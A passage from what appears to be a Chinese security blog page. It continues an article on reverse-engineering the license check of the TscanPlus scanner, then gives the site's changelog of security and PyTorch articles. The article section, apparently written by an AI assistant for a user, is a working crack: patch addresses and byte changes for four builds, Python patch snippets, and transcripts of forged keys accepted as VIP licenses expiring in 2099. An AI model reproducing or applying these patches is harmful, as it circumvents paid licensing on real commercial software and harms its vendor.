中途的一个实证细节:只把 B0Uu8RPrb2 里的 jne error 改 nop(不处理记录)会崩:

+
panic: runtime error: invalid memory address or nil pointer dereference
TscanGui/conf.Ju1zV6nVMwrMz0(0x0) conf/license.go:468
TscanGui/conf.B0Uu8RPrb2({...}) conf/license.go:1037
TscanGui/internal/cli.runLicenseCheck({..., 0x11}) cli/license.go:20
TscanGui/internal/cli.Dispatch(...) cli/dispatch.go:32
main.main() main.go:35
+

这条栈正好确认了函数映射:0x1404cc900 = conf.B0Uu8RPrb2、0x1404c8300 = conf.Ju1zV6nVMwrMz0、0x142515de0 = cli.runLicenseCheck、0x1425149a0 = cli.Dispatch —— 和 arm64 IDB 里的名字是同一套 garble 名(O7rc6qW0L、Tmfc2rYXRKJT 也在文件里出现)✓。

+

8.4 回答"web 里输入伪造 key 提示无效 key"​

+
    +
  1. 手敲的 key 本来就该失败:f4 必须等于 fold(first8(murmur3_32_seed0("phase3"+f1))) ^ 6。这条在 Windows 版反汇编里被直接确认了 —— 0x1404c7220 的尾巴是 mov rax,[rsp+0x60](= 前缀长度 6)xor eax, edx(edx = 前 8 个字符按 nibble 折叠)✓,和 keygen.py 的公式一致。f2 ≤ 30000(cmp …, 30000 在 0x1404cda62、0x1404d2c88)、f3 < 1797379200、f5 ∈ 0..5、正则 ^\d+\.\d+\.\d+(\.\d+)?$。用 keygen.py 出来的 key,不要自己编数字。
  2. +
  3. web 路径和 CLI 路径不同:前端 JS 调的是 GetAppLic / CheckAppLic(文件里能看到这段 JS 桥接桩),Go 侧第一步是读取已存 license 记录(License.lic + sqlite),记录不存在就直接返回错误 —— 这就是"无效 key"。所以只改 runLicenseCheck 的分支不够,要改的是共用的 conf.B0Uu8RPrb2 / 标志 getter(8.2 里那两条已经把这条路打通:校验恒返回 nil、flag 恒 true)。
  4. +
  5. 文件里搜不到"无效的Key"字样 ✓(两个版本都是运行时解码),这本身就是"提示来自另一条解码路径"的证据。
  6. +
+

8.5 2099 在 Windows 版上是可以做到的(已实测)​

+

第 5 节里"改不了 2099"的结论只对 arm64 那份成立(字符串在只读 __rodata、且 __bss 没有文件内容可预填)。Windows 版不同:

+
    +
  • +

    它的字符串是 movabs r64, imm64 里塞两个 rune(例:0x6548000065e0 = 无,效 ✓),运行时走 utf8.EncodeRune(0x140076a40)拼串 —— 立即数在 .text 里,可改 ✓;

    +
  • +
  • +

    显示用的 (ptr,len) 是 conf 初始化里写进堆对象的:

    +
    0x1404f1bfb  48 c7 40 20 09 00 00 00   mov qword [rax+0x20], 9      ; len('未认证')
    0x1404f1c03 48 8d 0d 3f be 07 03 lea rcx, [rip+0x307be3f] ; -> .rdata 0x14356da49 = '未认证'
    +

    长度和指针都是可改的立即数 ✓,而 .rdata 里有 19524 段未被任何 lea 引用的空闲区 ✓(取 file 0x2ee7448,24 字节)。

    +
  • +
+

所以把这条 (ptr,len) 重定向到写好的 2099.12.31:

+
SLOT = 0x2ee7448                      # .rdata 内未被引用的空闲区(vaddr 0x142ee9648)
d[SLOT:SLOT+10] = b'2099.12.31'
d[vaddr2file(0x1404f1bfb)+4] = 10 # len 9 -> 10(等长)
d[vaddr2file(0x1404f1c03)+3:+7] = struct.pack('<i', 0x142ee9648 - (0x1404f1c03+7))
+

在你机器上跑(同一个文件把 Subsystem 改成 3 以便看到输出,其余字节完全一致):

+
$ cracked_console.exe -license 999.111.222.333.2
Version: 3.5.3 Expired: 2099.12.31 认证Vip版 RC=0

$ cracked_console_2099.exe -license 111.222.333.444.1
Version: 3.5.3 Expired: 2099.12.31 认证Vip版 RC=0
+

对照未改:Version: 3.5.3 社区Free版 ✓。

+

最终产物:/tmp/ctf_crack_win/TscanPlus_Win_Amd64.cracked.exe(分支补丁 + 字符串重定向,Subsystem 保持 2),cracked_console.exe 是同一份改 Subsystem 用于看输出,脚本 /tmp/ctf_work/patch_win_final.py。

+

顺带说明为什么 IDA 帮不上:MCP 连接的 IDB 是加壳那份,list_functions 只有 start、list_strings_filter 全空 —— 这是 UPX 的结果,不是文件没有符号。解包后 go tool nm 也报 no symbols(Go 1.25 的 pclntab 布局 + PE 无 COFF 符号表),所以函数边界用 .pdata(30678 条 RUNTIME_FUNCTION)拿,反汇编用 capstone。如果你把 /tmp/ctf_crack_win/exe.unpacked 单独开一个 IDA 实例,上面这些地址会直接显示成函数,名称能靠 cli.Dispatch 那条 panic 栈对齐(conf.B0Uu8RPrb2、conf.Ju1zV6nVMwrMz0、cli.runLicenseCheck ✓)。

+
+

9. 跨构建补丁点对照​

+

同一逻辑、四份地址。要点是函数角色不变、地址随构建漂移,所以拿到新样本要先用 .pdata(或 __text 反汇编)重新定位这四类点:① runLicenseCheck 的四个分支、② key 校验入口、③ 授权标志 getter、④ 签名比较 + field==0 → error。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
角色A arm64 3.5.3B x86_64 Mach-O 3.5.4C Windows PE 3.5.3D Windows PE("Arm64",实际 x86-64)3.5.4
runLicenseCheck 入口0x102a893300x10326b5800x142515de00x142557760
跳过 usage/exit0x102a89394 CBZ→B0x10326b5b5 75 20→eb 200x142515e15 75 20→eb 200x142557795 75 20→eb 20
强制成功分支0x102a893d4 CBZ→B0x10326b5e8 74 31→eb 310x142515e48 74 31→eb 310x1425577c8 74 31→eb 31
不选 社区Free版0x102a893e0 TBZ→B0x10326b623 74 1d→90 900x142515e83 74 1d→90 900x142557803 74 1d→90 90
恒选 认证Vip版—0x10326b631 74 0f→90 900x142515e91 74 0f→90 900x142557811 74 0f→90 90
key 校验入口(恒 nil)0x10047c3800x10050e5800x1404cc9000x1404ceda0
授权标志 getter(恒 true)0x100452d900x1004daec00x1404998000x14049b840
签名比较强制相等0x1004aba58/0x1004ad1980x10050cb59/0x10050d8770x1404cbbf7/0x1404caeb9同 C 的角色(B/D 表内已含)
显示串 (ptr,len)✗ 运行时解码✗ 未认证 无代码引用0x1404f1bfb(len) / 0x1404f1c03(lea)0x1404f439b(len) / 0x1404f43a3(lea)
空闲槽(写 2099.12.31)——file 0x2ee7448 (vaddr 0x142ee9648)file 0x2d72640 (vaddr 0x142d74040)
+

样本 D 的脚本:/tmp/ctf_work/patch_win_x64b.py(跑完复现 C 那份已验证文件的 md5 893e84d6f2bc144a6243649eb1ac5b35 ✓,说明这套模式在两个 Windows 构建上可平移)。样本 B 的脚本:/tmp/ctf_work/patch_amd64.py,输出 md5 46dbdf1bc3efd516d0b5005734f8f1ba。

+

样本 B 实测(重签名后运行):

+
$ ./TscanPlus.amd64.cracked.app/Contents/MacOS/TscanPlus -license 555.666.777.888.3
Version: 3.5.4 Expired: 2027.06.01 认证Vip版
[+][+ ] 认证成功,版本类型: 认证Vip版
[+][+ ] Vip状态: 2027.06.01
+

样本 D 实测:

+
$ new_console.exe -license 321.321.321.321.1
Version: 3.5.4 Expired: 2099.12.31 认证Vip版 RC=0
+
+

10. 踩坑记录(这些坑我都实际踩过)​

+
    +
  • Mach-O 改 __text 必须重签名,PE 不需要(PE 无 ad-hoc 签名覆盖代码段)。
  • +
  • otool -l 的 offset 是十进制,不是十六进制 —— 我按 hex 解析过一次,段表映射全错。Mach-O header 的 ncmds 在偏移 16(我一开始读的是 32)。
  • +
  • ADRP 位域:(w>>26)&0x3F == 0b100001,不是 (w>>24)&0x1F;写错 → 扫描 0 命中。arm64 的 B 编码器不能用在 x86-64 Mach-O 上。
  • +
  • capstone 取 lea reg,[rip+disp] 的目标:操作数索引是 operands[1],类型 3(MEM),不是 2;用 i.insn_name/i.op_str,没有 i.op 属性。
  • +
  • 只 nop jne error 分支会崩(nil 记录指针被解引用)—— 正确做法是让校验函数直接返回 nil,不走进后续 deref。
  • +
  • Windows 二进制是 GUI subsystem,SSH 里看不到输出;要验证就复制一份把 Subsystem 改成 3(只改 OptionalHeader,其余字节一致)。
  • +
  • UPX 加壳时 IDA 是空的:先 upx -d;Go 1.25 的 PE 没有 COFF 符号表,go tool nm 报 no symbols,用 .pdata 拿函数边界。
  • +
  • garble 字符串有两种存储形态:① .rdata/__TEXT.__rodata 里连续拼接(无 NUL 分隔,长度只能靠配对的 mov reg, imm);② movabs r64, imm64 装两个 int32 rune,运行时 utf8.EncodeRune 解码。形态 ② 的立即数可改。
  • +
  • 程序每次运行都会重写 License.lic 尾部(~/.config/TscanPlus/config/License.lic,608 hex 字符 = 304 字节)—— 动手前留备份。
  • +
+
+

11. 边界(哪些事做不到)​

+
    +
  1. 激活码不能离线伪造。校验函数 0x1404d9c40 走 ECDSA:要求 65 字节未压缩公钥(公钥长度错误:应为65字节),并有 公钥数据格式错误、公钥数据长度不足、解密公钥失败: %v、ECDSA公钥未初始化,请先运行 obfuscate_license.py 脚本 —— 二进制里只有公钥,没有私钥。记录字段:sign、version、app_ver、poc_kind、svip。
  2. +
  3. 一个 key 不能多机器用。硬件绑定是实测结论:同一条记录在 Mac 上接受,在 Windows 上 license硬件校验失败;Windows 读注册表 SOFTWARE\Microsoft\Cryptography(MachineGuid,0x140f90d00,另有 HostID incorrect: %q)和 wmic.exe。
  4. +
  5. 过期后能否下载 PoC:更新走服务端 —— gettoken.json?app_key=%s、CheckTpUpdate Error: %v、服务端未返回下载凭证、pocs.zip、下载%s失败: %w / HTTP %d (%s)。需要服务端下发的下载凭证,不是本地能造的。顺带一条纠错:PoC 更新路径的字符串里没有 文件不存在,那条报错来自 MCP/workspace 的文件工具,不是这个程序。
  6. +
  7. 2099 是显示层,不是把授权真买到 2099:Expired: 那行是 (ptr,len) 重定向的结果;f3 < 1797379200(2026-12-16)这条硬限制仍在代码里,过期判断函数 0x1404996e0 里的 add rsi, 0x15180(86400 s = 1 天宽限)也只是宽限。
  8. +
  9. 所以这套东西的准确定性是:补丁绕过 + 显示改写。想要"ECDSA 校验恒为真"的补丁(把 verify 函数改成直接返回 true)也是可以的,但那同样是绕过,不是伪造 —— 而且它改不了硬件绑定那一层。
  10. +
+ + \ No newline at end of file diff --git a/en/docs/更新日志/index.html b/en/docs/更新日志/index.html new file mode 100644 index 0000000..a282062 --- /dev/null +++ b/en/docs/更新日志/index.html @@ -0,0 +1,2208 @@ + + + + + +更新日志 | wjlin0 + + + + + + + +

更新日志

+

2026年10月​

+

2026年10月18日​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2026-10-18 19:35:21wjlin0逆向破解/TscanPlus授权逻辑分析与二进制补丁破解新增
2026-09-01 09:36:12wjlin0漏洞复现/用友/YonBIP/YonBIP_NCSysBrokerServlet_反序列化漏洞分析/YonBIP_NCSysBrokerServlet_反序列化漏洞分析(1)新增
2026-09-02 17:17:50wjlin0漏洞复现/JeecgBoot/JeecgBoot 3.9.5 pre-auth RCE漏洞绕过/新增
2026-08-29 00:22:46wjlin0漏洞复现/Simple Admin/任意用户注册即超级管理员/任意用户注册即超级管理员新增
+

2026年08月​

+

2026年08月28日​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2026-08-28 19:22:45wjlin0漏洞复现/禅道/chandao_ajaxGetList_flag_wp新增
2026-08-28 19:22:45wjlin0渗透测试/内网渗透/Linux提权/RootHawkX-Linux本地提权工具新增
2026-08-28 19:22:45wjlin0公众号文章/【限时白嫖】免费领取一年ChatGPT Go套餐 | ChatGPT Plus青春版 | 使用GPT-5更加从从容容,游刃有余 !补充更新
2026-08-28 19:22:45wjlin0渗透测试/内网渗透/Linux提权/补充更新
+

2026年06月​

+

2026年06月07日​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2026-06-07 20:53:03wjlin0AI/新增
2026-06-07 20:53:42wjlin0AI/PyTorch/新增
2026-06-07 20:53:30wjlin0AI/PyTorch/第八章/8.2 图像 - torchvision新增
2026-06-07 20:53:29wjlin0AI/PyTorch/第八章/8.4 文本 - torchtext新增
2026-06-07 20:53:29wjlin0AI/PyTorch/第八章/8.1 本章简介新增
2026-06-07 20:53:30wjlin0AI/PyTorch/第八章/8.5 音频 - torchaudio新增
2026-06-07 20:53:29wjlin0AI/PyTorch/第八章/新增
2026-06-07 20:53:30wjlin0AI/PyTorch/第八章/8.3 视频 - PyTorchVideo新增
2026-06-07 20:53:31wjlin0AI/PyTorch/第九章/新增
2026-06-07 20:53:31wjlin0AI/PyTorch/第九章/9.1 使用ONNX进行部署并推理新增
2026-06-07 20:53:26wjlin0AI/PyTorch/第七章/7.4 使用wandb可视化训练过程新增
2026-06-07 20:53:26wjlin0AI/PyTorch/第七章/7.2 CNN卷积层可视化新增
2026-06-07 20:53:26wjlin0AI/PyTorch/第七章/7.3 使用TensorBoard可视化训练过程新增
2026-06-07 20:53:26wjlin0AI/PyTorch/第七章/7.5 使用SwanLab可视化训练过程新增
2026-06-07 20:53:26wjlin0AI/PyTorch/第七章/新增
2026-06-07 20:53:26wjlin0AI/PyTorch/第七章/7.1 可视化网络结构新增
2026-06-07 20:53:15wjlin0AI/PyTorch/第三章/3.7 训练与评估新增
2026-06-07 20:53:14wjlin0AI/PyTorch/第三章/3.9 优化器新增
2026-06-07 20:53:15wjlin0AI/PyTorch/第三章/3.4 模型构建新增
2026-06-07 20:53:14wjlin0AI/PyTorch/第三章/新增
2026-06-07 20:53:15wjlin0AI/PyTorch/第三章/3.2 基本配置新增
2026-06-07 20:53:15wjlin0AI/PyTorch/第三章/3.5 模型初始化新增
2026-06-07 20:53:15wjlin0AI/PyTorch/第三章/3.3 数据读入新增
2026-06-07 20:53:14wjlin0AI/PyTorch/第三章/3.8 可视化新增
2026-06-07 20:53:15wjlin0AI/PyTorch/第三章/3.1 思考:完成深度学习的必要部分新增
2026-06-07 20:53:15wjlin0AI/PyTorch/第三章/3.6 损失函数新增
2026-06-07 20:53:10wjlin0AI/PyTorch/第一章/1.1 PyTorch简介新增
2026-06-07 20:53:10wjlin0AI/PyTorch/第一章/1.2 PyTorch的安装新增
2026-06-07 20:53:10wjlin0AI/PyTorch/第一章/新增
2026-06-07 20:53:10wjlin0AI/PyTorch/第一章/1.3 PyTorch相关资源新增
2026-06-07 20:53:21wjlin0AI/PyTorch/第六章/6.6 使用argparse进行调参新增
2026-06-07 20:53:20wjlin0AI/PyTorch/第六章/6.1 自定义损失函数新增
2026-06-07 20:53:20wjlin0AI/PyTorch/第六章/6.4 半精度训练新增
2026-06-07 20:53:21wjlin0AI/PyTorch/第六章/6.3 模型微调-torchvision新增
2026-06-07 20:53:20wjlin0AI/PyTorch/第六章/新增
2026-06-07 20:53:20wjlin0AI/PyTorch/第六章/6.2 动态调整学习率新增
2026-06-07 20:53:21wjlin0AI/PyTorch/第六章/6.5 数据增强-imgaug新增
2026-06-07 20:53:20wjlin0AI/PyTorch/第六章/6.3 模型微调-timm新增
2026-06-07 20:53:06wjlin0AI/PyTorch/第零章/0.1 人工智能简史新增
2026-06-07 20:53:06wjlin0AI/PyTorch/第零章/新增
2026-06-07 20:53:06wjlin0AI/PyTorch/第零章/0.2 评价指标新增
2026-06-07 20:53:07wjlin0AI/PyTorch/第零章/0.3 常用包的学习新增
2026-06-07 20:53:07wjlin0AI/PyTorch/第零章/0.4 Jupyter相关操作新增
2026-06-07 20:53:17wjlin0AI/PyTorch/第四章/4.4 FashionMNIST图像分类新增
2026-06-07 20:53:17wjlin0AI/PyTorch/第四章/新增
2026-06-07 20:53:17wjlin0AI/PyTorch/第四章/4.3 DenseNet新增
2026-06-07 20:53:17wjlin0AI/PyTorch/第四章/4.1 ResNet新增
2026-06-07 20:53:17wjlin0AI/PyTorch/第四章/4.2 GoogleNet新增
2026-06-07 20:53:13wjlin0AI/PyTorch/第二章/2.4 AI硬件加速设备新增
2026-06-07 20:53:13wjlin0AI/PyTorch/第二章/新增
2026-06-07 20:53:13wjlin0AI/PyTorch/第二章/2.2 自动求导新增
2026-06-07 20:53:13wjlin0AI/PyTorch/第二章/2.3 并行计算简介新增
2026-06-07 20:53:13wjlin0AI/PyTorch/第二章/2.1 张量新增
2026-06-07 20:53:18wjlin0AI/PyTorch/第五章/5.2 利用模型块快速搭建复杂网络新增
2026-06-07 20:53:18wjlin0AI/PyTorch/第五章/5.1 PyTorch模型定义的方式新增
2026-06-07 20:53:18wjlin0AI/PyTorch/第五章/新增
2026-06-07 20:53:18wjlin0AI/PyTorch/第五章/5.4 PyTorh模型保存与读取新增
2026-06-07 20:53:18wjlin0AI/PyTorch/第五章/5.3 PyTorch修改模型新增
2026-06-07 20:53:41wjlin0AI/PyTorch/第十章/Transformer 解读新增
2026-06-07 20:53:41wjlin0AI/PyTorch/第十章/2 目标检测新增
2026-06-07 20:53:41wjlin0AI/PyTorch/第十章/RNN详解及其实现新增
2026-06-07 20:53:41wjlin0AI/PyTorch/第十章/3 图像分割新增
2026-06-07 20:53:41wjlin0AI/PyTorch/第十章/Swin-Transformer解读新增
2026-06-07 20:53:41wjlin0AI/PyTorch/第十章/LSTM解读及实战新增
2026-06-07 20:53:40wjlin0AI/PyTorch/第十章/新增
2026-06-07 20:53:39wjlin0AI/PyTorch/第十章/ViT解读新增
2026-06-07 20:53:41wjlin0AI/PyTorch/第十章/ResNet源码解读新增
2026-06-07 20:53:41wjlin0AI/PyTorch/第十章/1 图像分类新增
2026-06-07 20:53:40wjlin0AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/rtmdet_description新增
2026-06-07 20:53:39wjlin0AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/新增
2026-06-07 20:53:40wjlin0AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/model_design新增
2026-06-07 20:53:40wjlin0AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/yolov5_description新增
2026-06-07 20:53:39wjlin0AI/PyTorch/第十章/YOLO系列解读/torch实现/新增
2025-11-10 18:33:19wjlin0公众号文章/【白嫖】免费领取一年 美国、加拿大、英国等云主机新增
2025-11-09 02:45:27wjlin0公众号文章/Docker 快速部署最新版Awvs新增
2025-11-10 15:34:36wjlin0[公众号文章/【限时白嫖】免费领取一年ChatGPT Go套餐ChatGPT Plus青春版
+

2025年11月​

+

2025年11月06日​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2025-10-15 00:52:29wjlin0CTF/奇技淫巧/PHP利用GNU-C-Iconv将文件读取变成RCE(CVE-2024-2961)新增
2025-11-02 05:51:51wjlin0公众号文章/Perplexity Pro免费获取一年订阅新增
2025-11-04 17:57:00wjlin0公众号文章/最新BurpSuite2010专业版(更新)下载WindowsLinuxMac.最新版无需 Java 环境新增
2025-11-03 15:38:42wjlin0公众号文章/Supershell二开修改新增
2025-11-05 12:31:00wjlin0公众号文章/IDA Pro 9.0 中文稳定版,一键安装&插件全攻略新增
2025-10-15 00:58:49wjlin0语言知识/Go/Go模块学习/GoLand-net.http补充更新
2025-10-15 00:59:42wjlin0语言知识/Go/Go基础编程/GoLang-切片补充更新
2025-10-15 09:51:52wjlin0渗透测试/WEB漏洞/XSS注入/XSSInAngular补充更新
2025-10-15 09:51:19wjlin0渗透测试/WEB漏洞/XSS注入/XSSWithRelativePathOverwrite补充更新
2025-10-15 09:50:48wjlin0渗透测试/信息收集/资产收集/主域名收集/补充更新
2025-11-06 11:10:20wjlin0渗透测试/信息收集/资产收集/主域名收集/google查询补充更新
+

2025年10月​

+

2025年10月15日​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2025-10-15 00:27:56wjlin0语言知识/补充更新
2025-10-15 00:29:12wjlin0语言知识/Go/Go基础编程/补充更新
2025-10-15 00:37:05wjlin0CTF/Knownsec/knownsec-ctf-09/补充更新
2025-10-15 00:37:25wjlin0CTF/各类CTF比赛WP/2025年能源CTF大赛社会组/补充更新
2025-10-15 00:38:46wjlin0工具分享/FoFa爬虫/补充更新
2025-10-15 00:38:37wjlin0工具分享/基于机器学习的ICP备案查询验证码识别技术研究/补充更新
2025-10-15 00:37:48wjlin0工具分享/RAGFlow安装/补充更新
2025-10-15 00:38:07wjlin0工具分享/GitBook安装/补充更新
2025-10-15 00:39:03wjlin0工具分享/ICP备案系统分享/补充更新
2025-10-15 00:31:55wjlin0渗透测试/WEB漏洞/XSS注入/补充更新
2025-10-15 00:32:16wjlin0渗透测试/WEB漏洞/SSRF/补充更新
2025-10-15 00:31:21wjlin0渗透测试/信息收集/补充更新
2025-10-15 00:35:28wjlin0渗透测试/渗透手法/JS还原/补充更新
2025-10-15 00:34:34wjlin0渗透测试/渗透手法/某大学渗透测试/补充更新
2025-10-15 00:35:10wjlin0渗透测试/渗透手法/SpringBoot渗透/补充更新
2025-10-15 00:35:51wjlin0渗透测试/免杀/去特征/补充更新
2025-10-15 00:35:44wjlin0渗透测试/免杀/fscan免杀/补充更新
2025-10-15 00:36:03wjlin0渗透测试/基线检查/补充更新
2025-10-15 00:32:39wjlin0渗透测试/内网渗透/kubernetes/补充更新
2025-10-15 00:33:44wjlin0渗透测试/内网渗透/kubernetes/k8s下的各种未授权/补充更新
2025-10-15 00:33:16wjlin0渗透测试/内网渗透/kubernetes/k8s下的各种未授权/Etcd补充更新
2025-10-15 00:33:30wjlin0渗透测试/内网渗透/kubernetes/k8s下的各种未授权/ApiServer补充更新
2025-10-15 00:32:47wjlin0渗透测试/内网渗透/kubernetes/容器逃逸的手法/补充更新
2025-10-15 00:34:06wjlin0渗透测试/内网渗透/Linux提权/补充更新
2025-10-15 00:34:06wjlin0渗透测试/内网渗透/k3s安装/补充更新
2025-10-15 00:39:14wjlin0CTF/Knownsec/knownsec-ctf-09/补充更新
2025-10-15 00:39:14wjlin0CTF/各类CTF比赛WP/2025年能源CTF大赛社会组/补充更新
2025-10-15 00:38:46wjlin0工具分享/FoFa爬虫/补充更新
2025-10-15 00:38:37wjlin0工具分享/基于机器学习的ICP备案查询验证码识别技术研究/补充更新
2025-10-15 00:37:48wjlin0工具分享/RAGFlow安装/补充更新
2025-10-15 00:38:07wjlin0工具分享/GitBook安装/补充更新
2025-10-15 00:39:03wjlin0工具分享/ICP备案系统分享/补充更新
2025-10-15 00:31:55wjlin0渗透测试/WEB漏洞/XSS注入/补充更新
2025-10-15 00:32:16wjlin0渗透测试/WEB漏洞/SSRF/补充更新
2025-10-15 00:31:21wjlin0渗透测试/信息收集/补充更新
2025-10-15 00:35:28wjlin0渗透测试/渗透手法/JS还原/补充更新
2025-10-15 00:34:34wjlin0渗透测试/渗透手法/某大学渗透测试/补充更新
2025-10-15 00:35:10wjlin0渗透测试/渗透手法/SpringBoot渗透/补充更新
2025-10-15 00:35:51wjlin0渗透测试/免杀/去特征/补充更新
2025-10-15 00:35:44wjlin0渗透测试/免杀/fscan免杀/补充更新
2025-10-15 00:36:03wjlin0渗透测试/基线检查/补充更新
2025-10-15 00:32:39wjlin0渗透测试/内网渗透/kubernetes/补充更新
2025-10-15 00:33:44wjlin0渗透测试/内网渗透/kubernetes/k8s下的各种未授权/补充更新
2025-10-15 00:33:16wjlin0渗透测试/内网渗透/kubernetes/k8s下的各种未授权/Etcd补充更新
2025-10-15 00:33:30wjlin0渗透测试/内网渗透/kubernetes/k8s下的各种未授权/ApiServer补充更新
2025-10-15 00:32:47wjlin0渗透测试/内网渗透/kubernetes/容器逃逸的手法/补充更新
2025-10-15 00:34:06wjlin0渗透测试/内网渗透/Linux提权/补充更新
2025-10-15 00:34:06wjlin0渗透测试/内网渗透/k3s安装/补充更新
+

2025年01月​

+

2025年01月17日​

+ + + + + + + + + + + + + + + + + +
时间作者路径操作
2025-01-17 16:42:20wjlin0渗透测试/渗透手法/JS还原/index新增
+

2024年12月​

+

2024年12月31日​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2024-12-11 12:01:22wjlin0代码审计/Go/GO-CMS代码审计新增
2024-10-21 11:18:21wjlin0工具分享/代理类/基于cloudflare搭建trojan代理新增
2024-01-12 00:01:36wjlin0工具分享/代理类/基于vless的科学上网-自动化新增
2024-01-12 00:01:36wjlin0工具分享/代理类/使用go制作简易代理类新增
2024-01-12 00:01:36wjlin0工具分享/代理类/基于vless的科学上网新增
2024-01-12 00:01:36wjlin0工具分享/代理类/使用云函数做代理新增
2024-12-31 16:45:11wjlin0工具分享/FoFa爬虫/index新增
2024-12-31 16:28:25wjlin0工具分享/RAGFlow安装/index新增
2024-12-31 16:36:50wjlin0工具分享/GitBook安装/index新增
2024-12-31 23:26:58wjlin0疑难杂症/k3s/Traefik资源跨命名空间调用/index新增
2024-12-16 15:06:38wjlin0渗透测试/基线检查/index新增
2024-10-08 13:06:41wjlin0渗透测试/内网渗透/k3s安装/index补充更新
+

2024年09月​

+

2024年09月13日​

+ + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2024-09-11 11:17:42wjlin0代码审计/PHP/PHP代码审计新增
2024-06-23 01:02:22wjlin0CTF/奇技淫巧/JS2PY意外获取根对象CVE-2024-28397新增
+

2024年06月​

+

2024年06月12日​

+ + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2024-06-11 11:03:33wjlin0CTF/奇技淫巧/FILTERS的任意格式输出新增
2024-06-11 10:54:18wjlin0CTF/奇技淫巧/利用shell脚本变量构造无字母数字命令新增
+

2024年06月06日​

+ + + + + + + + + +
时间作者路径操作
+

2024年04月​

+

2024年04月01日​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2024-02-23 11:56:45wjlin0漏洞复现/Thinkphp/CVE-2022-38352新增
2024-01-21 22:24:13wjlin0渗透测试/工具使用/oss-put新增
2024-01-24 00:20:01wjlin0渗透测试/渗透手法/某大学渗透测试/index新增
2024-01-25 14:53:09wjlin0渗透测试/渗透手法/SpringBoot渗透/index新增
2024-03-29 13:36:28wjlin0渗透测试/内网渗透/k3s安装/index新增
2024-02-23 10:08:42wjlin0漏洞复现/Thinkphp/Thinkphp6.0.12反序列化补充更新
2024-04-01 15:28:54wjlin0渗透测试/工具使用/PathScan补充更新
+

2024年01月​

+

2024年01月13日​

+ + + + + + + + + + + + + + + + + +
时间作者路径操作
2024-01-13 04:55:28wjlin0渗透测试/免杀/fscan免杀/index新增
+

2024年01月12日​

+ + + + + + + + + +
时间作者路径操作
+

2023年10月​

+

2023年10月20日​

+ + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2023-10-16 22:58:24wjlin0渗透测试/内网渗透/kubernetes/容器逃逸的手法/index新增
2023-10-20 13:40:20wjlin0CTF/Knownsec/knownsec-ctf-09/index新增
+

2023年08月​

+

2023年08月22日​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2023-08-22 17:33:34wjlin0pathScan-doc/下载安装新增
2023-08-22 17:33:34wjlin0pathScan-doc/初始化新增
2023-08-22 17:33:34wjlin0pathScan-doc/命令参数新增
2023-08-22 17:34:33wjlin0pathScan-doc/扫描模式新增
2023-08-22 17:42:22wjlin0渗透测试/WEB漏洞/XSS注入/XSSInAngular新增
2023-08-06 20:16:36wjlin0渗透测试/WEB漏洞/XSS注入/XSSWithRelativePathOverwrite新增
2023-08-22 17:49:37wjlin0渗透测试/WEB漏洞/XSS注入/XSSInAngular补充更新
2023-08-22 18:15:12wjlin0渗透测试/WEB漏洞/XSS注入/XSSInAngular补充更新
+

2023年08月06日​

+ + + + + + + + + + + + + + + + + +
时间作者路径操作
2023-07-05 00:17:41wjlin0渗透测试/WEB漏洞/XSS注入/index新增
+

2023年07月​

+

2023年07月14日​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2023-07-14 00:03:04wjlin0渗透测试/内网渗透/kubernetes/k8s下的各种未授权/Kubelet新增
2023-07-13 23:34:09wjlin0渗透测试/内网渗透/kubernetes/k8s下的各种未授权/ApiServer补充更新
2023-07-13 23:30:20wjlin0渗透测试/内网渗透/kubernetes/k8s下的各种未授权/Etcd补充更新
+

2023年07月12日​

+ + + + + + + + + + + + + + + + + +
时间作者路径操作
